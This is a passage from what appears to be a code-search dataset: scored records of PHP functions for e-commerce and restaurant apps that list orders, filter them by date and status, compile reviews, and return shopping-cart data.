=$value1->min_order_amount;\n\t\t\t\t\t \t\t$resData[$key]['locality'][$key1]['lat'] =$value1->lat;\n\t\t\t\t\t \t\t$resData[$key]['locality'][$key1]['lon'] =$value1->lon;\n\t\t\t\t\t \t\t$resData[$key]['locality'][$key1]['created_date'] =$value1->created_date;\n\t\t\t\t\t \t}\n\t\t\t\t\t }else{\n\t\t\t\t\t \t\t$resData[$key]['locality']=array();\n\t\t\t\t\t }\n\t\t\t\t\t\n\t\t\t\t\t$getTime=$this->Webservice_customer_model->getRestaurantTime($value->restaurant_id);\n\t\t\t\t\t\n\t\t\t\t\t\t$i=0;\n\t\t\t\t\t foreach ($getTime as $k1 => $v1) {\n\t\t\t\t\t \t\n\t\t\t\t\t \t$resData[$key][$v1->day][$k1]['from_time']=$v1->from_time;\n\t\t\t\t\t \t$resData[$key][$v1->day][$k1]['to_time']=$v1->to_time;\n\t\t\t\t\t \t$day = $v1->day;\n\t\t\t\t\t \t$resData[$key][$v1->day] = array_values($resData[$key][$v1->day]);\n\t\t\t\t\t \t\n\t\t\t\t\t }\n\n\t\t\t\t\t $response['success'] =\"true\";\n\t\t\t\t $response['message'] =$resData;\n\t\t\t\t}else{\n\t\t\t\t\t$response['success'] =\"false\";\n\t\t\t\t $response['message'] =\"Restaurant not found\";\n\t\t\t\t}\n\n\t\t\t}\n\t\t\n\t\techo json_encode($response);exit;\n\t}", "title": "" }, { "docid": "e41e6ac4f55a1b7319947623581af0da", "score": "0.6179602", "text": "public function getAllOrderTaxref()\n {\n $qb = $this->createQueryBuilder('t')\n ->select('t.ordre')\n ->distinct('t.ordre')\n ->addOrderBy('t.ordre', 'ASC');\n\n return $qb->getQuery()->getResult();\n }", "title": "" }, { "docid": "891001389c0b7c35d689bdb07e09340e", "score": "0.61711407", "text": "public function all() {\n $orders = Orders::where('done', false)->with('bases.images', 'condiments', 'toppings', 'users')->orderBy('created_at')->paginate(6);\n // dd($orders);\n return view('all', ['orders' => $orders]);\n }", "title": "" }, { "docid": "64141763cc4258da044eb8a8957f3444", "score": "0.6170636", "text": "function getOrders(){\n // the user is not logged in, redirected to login !\n if (empty($this->session->userdata('cus_id')))\n {\n redirect(base_url().'CCustomers/index');\n }\n\n $this->load->model('CKzOrdersModel');\n\n // Create array object\n $data = array();\n \n // Fetch all orders of particular customer\n $data['orderRows'] = $this->CKzOrdersModel->fetchOrders($this->session->userdata('cus_id'));\n //print_r($orderRows);\n $this->load->view('orders', $data);\n }", "title": "" }, { "docid": "c27450dafb62343dc1f7b1d6f94c0880", "score": "0.6170182", "text": "function getRestaurantDishes()\n\t{\n\t\t$startTime \t= $this->benchmark->mark('code_start');\n\t\t$result \t= $this->Webservice_customer_model->getRestaurantDishes();\n\t\t\n\t\tif(sizeof($result)>0){\n\t\t\t$response = array(\"success\"=>\"1\",\"data\"=>$result);\n\t\t}\n\t\telse{\n\t\t\t$response = array(\"success\"=>\"0\",\"message\"=>\"No Restaurant Found!\");\n\t\t}\n\t\t$this->evaluateExecutionTime($startTime,'getRestaurantDetails',$this->input->post());\n\t\techo json_encode($response);\n\t\texit;\n\t}", "title": "" }, { "docid": "c1847649f1f0a2eb1ef223b1fc840ac9", "score": "0.61698633", "text": "public function index()\n {\n //\n $orders = PromotionalOrder::get(['id', 'items']);\n foreach($orders as $order) {\n $order->products = explode(\",\", $order->products);\n //$order->items = $items;\n }\n return $orders;\n }", "title": "" }, { "docid": "9aa231ef8142b6ec2f341cc78374ebb4", "score": "0.6169572", "text": "public function all()\n {\n $orders = Order::all();\n\n return response()->json(['error' => false, 'data' => $orders]);\n }", "title": "" }, { "docid": "76001c8a101738776c0293bac573033f", "score": "0.61623114", "text": "protected function getOrders() {\n $criteria = craft()->elements->getCriteria('Commerce_Order');\n $start_date = $this->parseDate('start_date');\n $end_date = $this->parseDate('end_date');\n\n if ($start_date && $end_date) {\n $criteria->dateOrdered = array('and', '> '.$start_date, '< '.$end_date);\n }\n\n // null orderStatusId means the order is only a cart\n $criteria->orderStatusId = 'not null';\n\n // Order the results to be consistent across pages\n $criteria->order = 'dateOrdered asc';\n\n $num_pages = $this->paginateOrders($criteria);\n\n $parent_xml = new \\SimpleXMLElement('<Orders />');\n $parent_xml->addAttribute('pages', $num_pages);\n\n craft()->oneShipStation_xml->orders($parent_xml, $criteria->find());\n\n $this->returnXML($parent_xml);\n }", "title": "" }, { "docid": "e30e93215ee953bcee26728376fbc5c8", "score": "0.61515886", "text": "public function index()\n {\n return OrderResource::collection(Order::with([\n 'items.product', 'customer', 'biller'\n ])->get());\n }", "title": "" }, { "docid": "8e93e0874cd9d044859b305d3997bc08", "score": "0.61474174", "text": "public function getOrders()\n {\n return $this->hasMany(Orders::className(), ['burger_id' => 'id']);\n }", "title": "" }, { "docid": "fb2e0e7c176d78c416571420de9388e0", "score": "0.6145104", "text": "function getOrderList()\n {\n global $application;\n\n $tables = $this->getTables();\n\n $o = $tables['orders']['columns'];\n\n $query = new DB_Select();\n $query->addSelectField($o['id'], 'id');\n # use a filter\n $filter = $this->order_search_filter;\n\n if ($filter['search_by'] == 'id' && $filter['order_id'] != null)\n {\n $query->Where($o['id'], DB_EQ, $filter['order_id']);\n }\n elseif ($filter['search_by'] == 'date')\n {\n $from_date = $filter['from_year'] . \"-\" . $filter['from_month'] . \"-\" . $filter['from_day'] . ' 00:00:00';\n $to_date = $filter['to_year'] . \"-\" . $filter['to_month'] . \"-\" . $filter['to_day'] . ' 23:59:59';\n $query->Where('DATE_ADD(' . $o['date'] . ', ' . modApiFunc('Localization', 'getSQLInterval') . ')', DB_GTE, \"'\".$from_date.\"'\");\n $query->WhereAND();\n $query->Where('DATE_ADD(' . $o['date'] . ', ' . modApiFunc('Localization', 'getSQLInterval') . ')', DB_LTE, \"'\".$to_date.\"'\");\n if (!empty($filter['status_id']))\n {\n $query->WhereAND();\n $query->Where($o['status_id'], DB_EQ, $filter['status_id']);\n }\n if (!empty($filter['payment_status_id']))\n {\n $query->WhereAND();\n $query->Where($o['payment_status_id'], DB_EQ, $filter['payment_status_id']);\n }\n if (isset($filter['order_statuses']) && is_array($filter['order_statuses']))\n {\n \t $query->WhereAND();\n \t foreach ($filter['order_statuses'] as $id => $v)\n \t {\n \t \t$ord_stat[] = $id;\n \t }\n \t$query->Where($o['status_id'], DB_IN, \"(\".implode(\", \",$ord_stat).\")\");\n }\n if (isset($filter['payment_statuses']) && is_array($filter['payment_statuses']))\n {\n $query->WhereAND();\n foreach ($filter['payment_statuses'] as $id => $v)\n \t {\n \t \t$pay_stat[] = $id;\n \t }\n \t$query->Where($o['payment_status_id'], DB_IN, \"(\".implode(\", \",$pay_stat).\")\");\n }\n if (isset($filter['affiliate_id']) && !empty($filter['affiliate_id']))\n {\n $query->WhereAND();\n $query->WhereValue($o['affiliate_id'], DB_LIKE, \"%\".$filter['affiliate_id'].\"%\");\n }\n }\n elseif ($filter['search_by'] == 'status' && $filter['filter_status_id'] != 0)\n {\n $query->Where($o['status_id'], DB_EQ, $filter['filter_status_id']);\n }\n\n $query->SelectOrder($o['date'], 'DESC');\n $query->SelectOrder($o['id'], 'DESC');\n $query = modApiFunc('paginator', 'setQuery', $query);\n\n $result = $application->db->getDB_Result($query);\n\n $orders = array();\n for ($i=0; $i<sizeof($result); $i++)\n {\n// $order = $this->getOrderInfo($result[$i]['id']);\n// array_push($orders, $order);\n array_push($orders, $result[$i]['id']);\n }\n return $orders;\n }", "title": "" }, { "docid": "dc9d46b8fd7c3ce424bf16283ff24efc", "score": "0.6130901", "text": "public function index()\n {\n $me = Auth::guard('representative')->user();\n\n return Order::\n where('representative_id', '=', $me->id)\n ->get();\n }", "title": "" }, { "docid": "d8516d70b9d4c6f243ba3661fd5f005e", "score": "0.6119008", "text": "public function allOrders()\n {\n /* $orders_with_user=[];\n $orders=Order::orderBy('created_at')->get();\n \n foreach($orders as $order){\n $user = User::where('id',$order->user_id)->get() ;\n $both=[];\n array_push($both,$order);\n array_push($both,$user);\n array_push($orders_with_user,$both); \n \n } \n return $orders_with_user; */\n\n \n $orders=Order::with(['user','category'])->orderBy('created_at')->get();\n return $orders;\n }", "title": "" }, { "docid": "fbe2b849236ca2919eb8fe2f6c8832ff", "score": "0.6117476", "text": "public function indexOrders()\n {\n $this->authorize('indexOrder', Admin::class);\n return Order::with(['products'])->get();\n }", "title": "" }, { "docid": "23dbac74e9de902823b0c600aa449f58", "score": "0.6114711", "text": "public function fetchAllData()\n {\n $buyer = $this->cumparator;\n $buyer['address'] = $this->getBillingAddress();\n $receiver = $this->destinatar;\n $receiver['address'] = $this->getShippingAddress();\n $orderData = array(\n 'code' => $this->generateOrderCode(),\n 'date' => date('d-m-Y\\, H:i:s'),\n 'buyer' => $buyer,\n 'receiver' => $receiver,\n 'buyerIsReceiver' => $this->buyerIsReceiver(),\n 'type' => $this->tip,\n 'products' => $this->_basket,\n 'totalValue' => $this->_basket->total(),\n 'shippingCost' => $this->getShippingCost(),\n 'paymentMethod' => $this->modalitatePlata\n );\n\n return $orderData;\n }", "title": "" }, { "docid": "6dd2ef5b492055d25d779ff52ab4b352", "score": "0.6081917", "text": "public function getOpenOrders(): array;", "title": "" }, { "docid": "8fc5407e3eb07e039318acde3c993527", "score": "0.6080441", "text": "public function index()\n {\n return Order::with(['order_status', 'assignment', 'assignment.newhire', 'equipment'])->get();\n }", "title": "" }, { "docid": "a21513db45e854d1f08f75079bbd57ff", "score": "0.6075728", "text": "public function getAllOrders($status = 0) {\n //$query = DB::table($this->table)->selectRaw(\"tgl_order, nama_penerima, x_jmlpin, (case when harus_transfer > 0 then harus_transfer else transfer_pin end) as nilai_transfer, status, (case when status = 5 then coalesce(tgl_approve, coalesce(tgl_konfirmasi, tgl_order)) when status = 3 then coalesce(tgl_konfirmasi, tgl_order) else tgl_order end) as tgl_status, id\");\n $query = $this->selectRaw(\"tgl_order, \n userid,\n nama_penerima, \n x_jmlpin, \n (case when harus_transfer > 0 then harus_transfer else transfer_pin end) as nilai_transfer, \n status, \n (case when status = 3 then coalesce(tgl_approve, coalesce(tgl_konfirmasi, tgl_order)) when status = 5 then coalesce(tgl_konfirmasi, tgl_order) else tgl_order end) as tgl_status, \n id, bukti_transfer\");\n //if ($status == 0) return $query->where('status', 5)->get();\n if ($status == 0) return $query->where('status', 3)->get();\n //return $query->whereIn('status', [3,4])->get();\n return $query->whereIn('status', [4, 5])->get();\n }", "title": "" }, { "docid": "02a2610e8b53a167e7930fbca045f84a", "score": "0.6073393", "text": "public function restaurant_order()\n {\n return $this->belongsTo(ModelHotelOrders::class);\n }", "title": "" }, { "docid": "a0379b0925d29c5245795da8fc2d563b", "score": "0.6070438", "text": "public function getListReviewRestaurants(){\n $response = array(\n 'error' => array(\n 'code' => 404,\n 'message' => \"Don't have 3 agrumments for this request : from, count, restaurant id.\"),\n 'restaurant' => array(),\n 'listReview' => array()\n );\n\n if (trim($_GET['from']) != '' && trim($_GET['count']) != '' && (isset($_GET['restaurantId']) && trim($_GET['restaurantId']) != '')){\n $response['error']['message'] = 'Connect successfully !';\n $response['error']['code'] = 0;\n $from = $_GET['from'];\n $count = $_GET['count'];\n $restaurant_id = $_GET['restaurantId'];\n\n /* get reviews items by restaurant id\n * get restaurant info for this\n */\n\n /* get reviews info items\n */\n $review_items = $this->BRestaurantReview->getListRestaurantReviewRange($restaurant_id,$from,$count);\n $listReview = array();\n\n for($i=0;$i<count($review_items);$i++){\n $review_item= $review_items[$i]['b_restaurant_review'];\n array_push($listReview, array(\n 'reviewId' => $review_item['id'],\n 'name' => $this->User->find('first', array('conditions' => array('id' => $review_item['user_id'])))['User']['user_name'],\n 'rate' => array(\n 'average' => ($review_item['location'] + $review_item['price'] + $review_item['quality'] + $review_item['service'] + $review_item['decoration'])/5,\n 'location' => $review_item['location'],\n 'price' => $review_item['price'],\n 'quality' => $review_item['quality'],\n 'service' => $review_item['service'],\n 'decoration'=> $review_item['decoration']\n ),\n 'date' => $review_item['update_time'],\n 'title' => $review_item['title'],\n 'content' => $review_item['content'],\n 'like' => $this->BRestaurantReviewLike->countReviewLike($review_item['id']),\n 'likestatus'=> $this->BRestaurantReview->checkLikeStatus($review_item['id'], $restaurant_id),\n 'comment' => $this->BRestaurantComment->countComment($review_item['id'])\n ));\n }\n\n //get restaurant info item\n $res_result = array(\n \"reviewCount\" => $this->BRestaurantReview->countRestaurantReview($restaurant_id),\n \"rate\" => array(\n \"average\" => 0,\n \"location\" => $this->BRestaurantReview->Get_AVG_AnField('location', array('restaurant_id' => $restaurant_id)),// get avg for location \n \"price\" => $this->BRestaurantReview->Get_AVG_AnField('price', array('restaurant_id' => $restaurant_id)),// get avg for price \n \"quality\" => $this->BRestaurantReview->Get_AVG_AnField('quality', array('restaurant_id' => $restaurant_id)),// get avg for quality\n \"service\" => $this->BRestaurantReview->Get_AVG_AnField('service', array('restaurant_id' => $restaurant_id)),// get avg for service \n \"decoration\" => $this->BRestaurantReview->Get_AVG_AnField('decoration',array('restaurant_id' => $restaurant_id)),// get avg for decoretion\n \"excellentCount\" => $this->BRestaurantReview->getCountRatingLevel($listReview,9,10),\n \"goodCount\" => $this->BRestaurantReview->getCountRatingLevel($listReview,7,9),\n \"averageCount\" => $this->BRestaurantReview->getCountRatingLevel($listReview,4,7),\n \"badCount\" => $this->BRestaurantReview->getCountRatingLevel($listReview,1,4)\n )\n );\n $res_result['rate']['average'] = ($res_result['rate']['location'] + $res_result['rate']['price'] + $res_result['rate']['quality'] + $res_result['rate']['service'] + $res_result['rate']['decoration'])/5;\n\n $response['restaurant'] = $res_result;\n $response['listReview'] = $listReview;\n }\n echo json_encode($response);\n }", "title": "" }, { "docid": "5b5f76de1f86b09e386a486464c0e2e0", "score": "0.6069935", "text": "public function index(GetOrdersRequest $r)\n {\n $result=$r->user()->orders()->orderBy('created_at','desc');\n\n if( $r->input('from') ){\n $from = Carbon::createFromFormat('d-m-Y',$r->input('from') )->format('Y-m-d H:i:s');\n $result = $result->whereDate('created_at','>',$from);\n }\n if( $r->input('to') ){\n $to = Carbon::createFromFormat('d-m-Y',$r->input('to') )->format('Y-m-d H:i:s');\n $result = $result->whereDate('created_at','<',$to);\n }\n return ['status'=>'ok','result'=>$result->get()];\n \n }", "title": "" }, { "docid": "adfe48a70d3f3f4af1c2b08b5f2bd55b", "score": "0.6064127", "text": "public function index(Request $request)\n {\n $this->migrateStatuses();\n\n $restorants = Restorant::where(['active'=>1])->get();\n $drivers = User::role('driver')->where(['active'=>1])->get();\n $clients = User::role('client')->where(['active'=>1])->get();\n\n $orders = Order::orderBy('created_at','desc');\n\n //Get client's orders\n if(auth()->user()->hasRole('client')){\n $orders = $orders->where(['client_id'=>auth()->user()->id]);\n ////Get driver's orders\n }else if(auth()->user()->hasRole('driver')){\n $orders = $orders->where(['driver_id'=>auth()->user()->id]);\n //Get owner's restorant orders\n }else if(auth()->user()->hasRole('owner')){\n $orders = $orders->where(['restorant_id'=>auth()->user()->restorant->id]);\n }\n\n //FILTER BT RESTORANT\n if(isset($_GET['restorant_id'])){\n $orders =$orders->where(['restorant_id'=>$_GET['restorant_id']]);\n }\n //If restorant owner, get his restorant orders only\n if(auth()->user()->hasRole('owner')){\n //Current restorant id\n $restorant_id = auth()->user()->restorant->id;\n $orders =$orders->where(['restorant_id'=>$restorant_id]);\n }\n\n //BY CLIENT\n if(isset($_GET['client_id'])){\n $orders =$orders->where(['client_id'=>$_GET['client_id']]);\n }\n\n //BY DRIVER\n if(isset($_GET['driver_id'])){\n $orders =$orders->where(['driver_id'=>$_GET['driver_id']]);\n }\n\n //BY DATE FROM\n if(isset($_GET['fromDate'])&&strlen($_GET['fromDate'])>3){\n //$start = Carbon::parse($_GET['fromDate']);\n $orders =$orders->whereDate('created_at','>=',$_GET['fromDate']);\n }\n\n //BY DATE TO\n if(isset($_GET['toDate'])&&strlen($_GET['toDate'])>3){\n //$end = Carbon::parse($_GET['toDate']);\n $orders =$orders->whereDate('created_at','<=',$_GET['toDate']);\n }\n // code by sushant\n if(isset($_GET['status']) && !empty($_GET['status'])){\n $statusRequest = $_GET['status'];\n // dd($statusRequest);\n //$end = Carbon::parse($_GET['toDate']);\n $orders =$orders->whereHas('laststatus',function($q) use($statusRequest){\n $q->where(['alias' => $statusRequest]);\n });\n }\n //With downloaod\n if(isset($_GET['report'])){\n $items=array();\n foreach ($orders->get() as $key => $order) {\n $item=array(\n \"order_id\"=>$order->id,\n \"restaurant_name\"=>$order->restorant->name,\n \"restaurant_id\"=>$order->restorant_id,\n \"created\"=>$order->created_at,\n \"last_status\"=>$order->status->pluck('alias')->last(),\n \"client_name\"=>$order->client?$order->client->name:\"\",\n \"client_id\"=>$order->client?$order->client_id:null,\n \"table_name\"=>$order->table?$order->table->name:\"\",\n \"table_id\"=>$order->table?$order->table_id:null,\n \"area_name\"=>$order->table&&$order->table->restoarea?$order->table->restoarea->name:\"\",\n \"area_id\"=>$order->table&&$order->table->restoarea?$order->table->restoarea->id:null,\n \"address\"=>$order->address?$order->address->address:\"\",\n \"address_id\"=>$order->address_id,\n \"driver_name\"=>$order->driver?$order->driver->name:\"\",\n \"driver_id\"=>$order->driver_id,\n \"order_value\"=>$order->order_price,\n \"order_delivery\"=>$order->delivery_price,\n \"order_total\"=>$order->delivery_price+$order->order_price,\n 'payment_method'=>$order->payment_method,\n 'srtipe_payment_id'=>$order->srtipe_payment_id,\n 'order_fee'=>$order->fee_value,\n 'restaurant_fee'=>$order->fee,\n 'restaurant_static_fee'=>$order->static_fee,\n 'vat'=>$order->vatvalue\n );\n array_push($items,$item);\n }\n\n return Excel::download(new OrdersExport($items), 'orders_'.time().'.xlsx');\n }\n $status = Status::get();\n /*coded by sushant*/\n $orders = $orders->paginate(10);\n\n return view('orders.index',['orders' => $orders,'restorants'=>$restorants,'drivers'=>$drivers,'clients'=>$clients,'parameters'=>count($_GET)!=0, 'status'=>$status ]);\n }", "title": "" }, { "docid": "73b82af2d0a538f3b051950999627027", "score": "0.6045121", "text": "public function getOrders(): Collection\n {\n }", "title": "" }, { "docid": "bfe2c63d0c1c65791a13adc59637ccb3", "score": "0.60443413", "text": "public function index(Request $request)\n {\n\n $res = $request->restaurant;\n $start = $request->startdate;\n $end = $request->enddate;\n// dd($res,$start,$end);\n $status='ORDERED';\n $request->session()->put('res',$res);\n $request->session()->put('start',$start);\n $request->session()->put('end',$end);\n\n $order = Order::with('cart', 'invoice', 'user_address', 'shop', 'user')->where('status',$status)\n ->where('shop_id', $res)->whereBetween('created_at', [$start, $end])->get();\n// $searchorder=$order;\n// dd($searchorder);\n return view('admin.transporter.transporter_delivery',compact('order'));\n\n }", "title": "" }, { "docid": "749f318d5be70850dda8427f1cfb5836", "score": "0.60439503", "text": "public function GetAll()\n\t\t{\n $conn = Db::getInstance();\n $allProducts = $conn->query(\"SELECT * FROM OOPtblorders_v9\");\n return $allProducts;\n\t\t}", "title": "" }, { "docid": "d3e62136130a1e025729e484956360a5", "score": "0.60298836", "text": "public function showAll()\n {\n\n $orders = \\App\\order::orderBy('id', 'DESC')->get();\n $items=DB::table('item_order')->get();\n return view('vieworders',[\n 'orders'=>$orders,\n 'items'=>$items,\n\n ]);\n \n }", "title": "" }, { "docid": "45f72de12861dddb2bb6045c219691e7", "score": "0.60284156", "text": "public function getrestaurant()\n\t{\t$Resid = $this->session->userdata('ResID');\t\n\t\t$this->db->select(\"res.*,ht.hotal_name\");\n\t\t$this->db->from(RESTAURANT.\" as res\");\n\t\t$this->db->join(Hotal.\" as ht\", \"ht.id = res.hotal_id\");\t\t\n\t\t$this->db->where(\"res.id='\".$Resid.\"'\");\n\t\t$this->db->order_by(\"res.id\",\"DESC\");\n\t\t$query = $this->db->get();\n\t\treturn $query->result_array();\t\n\t}", "title": "" }, { "docid": "b82a75607f89d0d8ec06ed0b51295eec", "score": "0.6025089", "text": "public function index()\n {\n return PZOrders::with(['baseData', 'orderCheeseConnectionData', 'orderIngredientsConnectionData'])->get();\n }", "title": "" }, { "docid": "7908cd0ae6e7874ec258e7817029b788", "score": "0.60232776", "text": "public function all_orders_page()\n {\n $all_orders = Laravelproject_new_goods_order::join('laravelproject_new_goods_order_items', 'laravelproject_new_goods_orders.id', 'laravelproject_new_goods_order_items.order_id')\n ->select('laravelproject_new_goods_orders.*', 'laravelproject_new_goods_order_items.order_id', 'laravelproject_new_goods_order_items.product_id', 'laravelproject_new_goods_order_items.qty', 'laravelproject_new_goods_order_items.store_id')\n ->get();\n return view('elite.admin.all_orders', compact('all_orders'));\n }", "title": "" }, { "docid": "5085164a698421ee2c7e5017f456949a", "score": "0.6022098", "text": "function showorders(){\n $sql=\"SElECT * From orders\";\n $db = config::getConnexion();\n try{\n $list=$db->query($sql);\n return $list;\n }\n catch (Exception $e){\n die('Erreur: '.$e->getMessage());\n } \n }", "title": "" }, { "docid": "e1f0bc817e041af69d3033043a9b7dc6", "score": "0.60220623", "text": "public function index()\n {\n $atrucks_orders = ATrucks::all();\n $local_orders = Order::all()->toArray();\n $orders = array_merge($local_orders, $atrucks_orders);\n // dd($orders);\n return view('orders.index', compact('orders'));\n }", "title": "" }, { "docid": "b6c1b7caec25209791e776efadf225cf", "score": "0.60122645", "text": "public function orderList()\n {\n $orders = Order::orderBy('id', 'desc')->where('user_id', Auth::user()->id)->get();\n return view('frontend.pages.dashboards.customer_order', compact('orders'));\n }", "title": "" }, { "docid": "192790a43ad8c80485ec23bca2cdcb56", "score": "0.6005151", "text": "public function getOrderings() : array;", "title": "" }, { "docid": "65144ddb1a64f9fb027707d0c088cc2e", "score": "0.5996804", "text": "public function rentOrders()\n {\n return $this->hasMany(RentOrders::class);\n }", "title": "" }, { "docid": "e3dc892e661fc72c53bcd7bcc94c5ba6", "score": "0.59940207", "text": "public function index()\n {\n //$retailerId = Authorizer::getResourceOwnerId();\n\n //TODO: Esta linha deverá ser apagada quando usarmos OAuth2\n $retailerId = $this->userRepository->find(Auth::user()->id)->retailer->id;\n $orders = $this->orderRepository->with(['items'])->scopeQuery(function($query) use($retailerId){\n return $query->where('retailer_id','=',$retailerId);\n })->paginate();\n\n //return da API\n //return $orders;\n\n //return da view\n return view('retailer.orders.index', compact('orders'));\n }", "title": "" }, { "docid": "7d9a40fb4b454539c77e818a251fb02a", "score": "0.59912544", "text": "public function orders()\n {\n }", "title": "" }, { "docid": "4ec7d56717127cb3e92af0fbc9ce0a6d", "score": "0.59909695", "text": "function OrderItemList() {return $this->getOrderItemList();}", "title": "" }, { "docid": "5545b302f340542a839064d83397e341", "score": "0.59903246", "text": "public function getRelaventReservations(){\n return $this->reservations()\n ->whereDate('date','>=',Carbon::today())\n ->orderBy('date','asc')\n ->orderBy('from','asc')\n ->orderBy('to','asc')\n ->get();\n }", "title": "" }, { "docid": "955564494651c6334dbb1762cdb7fb22", "score": "0.5989237", "text": "public function index()\n {\n // Retrieve all the purchase orders in the database and return them\n $purchaseOrders = PurchaseOrder::with('customer')->orderBy('created_at', 'desc')->get();\n return $purchaseOrders;\n }", "title": "" }, { "docid": "f185e4a286b01fc6d2a6c8a2733b4691", "score": "0.59870094", "text": "public function index()\n\t{\n\t\t$this->orders->trackFilter();\n\t\t$this->orders->pushFilter(new BelongsUserFilter);\n\t\t$this->orders->pushFilter(new OrderDateFilter);\n\t\t$this->orders->pushTrackFilter(OrderAddressSelectFilter::class);\n\n\t\treturn view('site::order.index', [\n\t\t\t'orders' => $this->orders->paginate(config('site.per_page.order', 8)),\n\t\t\t'repository' => $this->orders,\n\t\t]);\n\t}", "title": "" }, { "docid": "f666f4623c9d99866730358cfdaced6f", "score": "0.59813046", "text": "public function my_orders() {\n\t\t$this->db->where('vendor_hash', $this->current_user->user_hash);\n\t\t$this->db->where('progress >','0');\n\t\t$this->db->order_by('progress ASC, time desc');\n\t\t$query = $this->db->get('orders');\n\t\tif($query->num_rows() > 0) {\n\t\t\t$row = $query->result_array();\n\t\t\treturn $this->build_array($row);\n\t\t}\n\t\treturn array();\n\t}", "title": "" } ]
e06fdf189b79fd7bc8bde224bfb0162c
Return default cart response by configuration
[ { "docid": "6981b6b3c3c96230d7f810ce9907f1ce", "score": "0.6814886", "text": "public function baseResponse()\n {\n return $this->response(\n config('admineshop.cart.default_full_response', false)\n );\n }", "title": "" } ]
[ { "docid": "ee010b954bbf02d7cbb15020413c3d28", "score": "0.65463036", "text": "public function fullCartResponse()\n {\n return $this->response(true);\n }", "title": "" }, { "docid": "5e2f558d44214408d0e4ebf2133a4c13", "score": "0.64552426", "text": "public function useCartDefault()\n {\n return Mage::getStoreConfigFlag(self::XML_PATH_USE_CART_DEFAULT);\n }", "title": "" }, { "docid": "21ed8abaddc4716921cc6fa6fc65114f", "score": "0.6360359", "text": "public function renderCart() {\n $response = $this->responseGenerator;\n try {\n $cartContent = $this->getCartContent();\n $cartViewData = $this->prepareCartView($cartContent);\n $driverCharge = \\Config::get('appConstants.driver_charge');\n $currencySymbol = \\Config::get('appConstants.currency_sign');\n $cartTotal = $this->getTotal($addDriverCharges = true);\n $cartResponse = $cartViewData;\n if (empty($cartViewData)) {\n $response->setResponseMessage(trans('messages.empty_cart_message'));\n $response->setResponseStatus(FALSE);\n } else {\n $cartResponse['driver_charge'] = $driverCharge;\n $cartResponse['cart_total'] = $cartTotal;\n $cartResponse['quantity'] = $this->getTotalQuantity();\n $response->setResponseData($cartResponse);\n $response->setResponseMessage(trans('messages.success'));\n $response->setResponseStatus(TRUE);\n }\n $response->setStatus(TRUE);\n $response->setMessage(trans('messages.success'));\n } catch (Exception $ex) {\n $message = trans('messages.common_error');\n $response->setMessage($message);\n $debugTrace = $ex->getMessage() . \"|\" . $ex->getFile() . \"|\" . $ex->getLine();\n $this->handleAPIErrorMessages($debugTrace);\n }\n $serviceResponse = $response->getServiceResponse();\n return $serviceResponse;\n }", "title": "" }, { "docid": "2f024c068a0c23452fa6163a5e901bb0", "score": "0.6203435", "text": "public function getCart();", "title": "" }, { "docid": "2f024c068a0c23452fa6163a5e901bb0", "score": "0.6203435", "text": "public function getCart();", "title": "" }, { "docid": "bbefeecb16eaaa9700b2b7c1f71b547b", "score": "0.60425013", "text": "public function config(){\n return Response::json([\n 'categories' => ProductCategory::get(),\n 'brands' => ProductBrand::get(),\n 'types' => ProductType::get(),\n 'statuses' => ProductStatus::get(),\n ]);\n }", "title": "" }, { "docid": "e95900eb24ce75d281e4380d62c0d6e5", "score": "0.60176015", "text": "public function actionGetCart() {\n \\Yii::$app->response->format = \\yii\\web\\Response::FORMAT_JSON;\n $session = Yii::$app->session;\n return ['items' => $session['scientific-object']];\n }", "title": "" }, { "docid": "97e108c8ee361c227bdf6dd728c7fafa", "score": "0.5983524", "text": "public function getCartProvider();", "title": "" }, { "docid": "f9ac0c4d269a0b742d4c0ea8d4e2b52c", "score": "0.59773886", "text": "function cartOperationNoCustom_get() {\n if ($this->checklogin) {\n $session_cart = $this->Product_model->cartDataNoCustome($this->user_id);\n } else {\n $session_cart = $this->Product_model->cartDataNoCustome();\n }\n $this->response($session_cart);\n }", "title": "" }, { "docid": "b3ad3a5a4fcd79dc73f102be96b188e2", "score": "0.5969956", "text": "public function get_cart()\n {\n }", "title": "" }, { "docid": "c4d880e4e1935752995d3e8b8bbea359", "score": "0.5941299", "text": "function getCart() ;", "title": "" }, { "docid": "f3253e120c992eee3a89acfdac58b92d", "score": "0.58537364", "text": "public function getDeliveryCart();", "title": "" }, { "docid": "7109daf7219c343df0995e8bd13115fc", "score": "0.5740812", "text": "public function useCart()\n {\n return Mage::getStoreConfigFlag(self::XML_PATH_USE_CART);\n }", "title": "" }, { "docid": "20ccffca285026596d7afc4c1b6c3016", "score": "0.5710796", "text": "public function cart();", "title": "" }, { "docid": "004ea3859e8a9889036994479a735fb2", "score": "0.57096076", "text": "public function getCurrent(): CartInterface;", "title": "" }, { "docid": "3e552fb16e851bde3b92e42c4d62f929", "score": "0.56896305", "text": "public function getInvoiceCart();", "title": "" }, { "docid": "e912974a00e72b948df66e40141c518a", "score": "0.56893635", "text": "public function get_cart_for_session()\n {\n }", "title": "" }, { "docid": "cdf73b9f0232b99a1bcf12698ef451b7", "score": "0.56651324", "text": "function getCart(){\n $cart_id = Session::get('carty.cart_id',false);\n\n if(!$cart_id) {\n $cart_id = $this->initCart();\n }\n else{\n $cart = Cart::find(Session::get('carty.cart_id'));\n\n if($cart == null){\n $cart_id = $this->initCart();\n }\n }\n\n try {\n $contents = DB::select(\"SELECT\nproduct_id,\nquantity,\n`name`,\nprice_per_unit\nFROM cart_contents\nINNER JOIN products ON product_id = products.id\nWHERE cart_id = ?\", array($cart_id));\n } catch(\\Exception $e){\n Log::error($e->getMessage(),array(__CLASS__,__FUNCTION__));\n Log::error($e->getTraceAsString(),array(__CLASS__,__FUNCTION__));\n\n return Response::json(array(\n 'success'=>false,\n 'message'=>\"error retrieving cart\"\n ), 500);\n }\n\n $cart_contents = array(\n 'success'=>true,\n 'cart_id'=>$cart_id,\n 'products'=>array(),\n 'subtotal'=>0,\n 'gst'=>0,\n 'pst'=>0,\n 'total'=>0\n );\n\n foreach($contents as $row){\n $total = $row->quantity*$row->price_per_unit;\n $product = array(\n 'id'=>$row->product_id,\n 'name'=>$row->name,\n 'quantity'=>$row->quantity,\n 'price_per_unit'=>number_format($row->price_per_unit,2),\n 'total'=> number_format($total,2)\n );\n\n $cart_contents['subtotal'] += $total;\n\n $cart_contents['products'][]=$product;\n }\n\n $cart_contents['gst'] = number_format(Config::get('carty::taxes.GST')*$cart_contents['subtotal'],2);\n $cart_contents['pst'] = number_format(Config::get('carty::taxes.PST')*$cart_contents['subtotal'],2);\n $cart_contents['total'] = number_format($cart_contents['subtotal'] + $cart_contents['gst'] + $cart_contents['pst'],2);\n\n $cart_contents['subtotal'] = 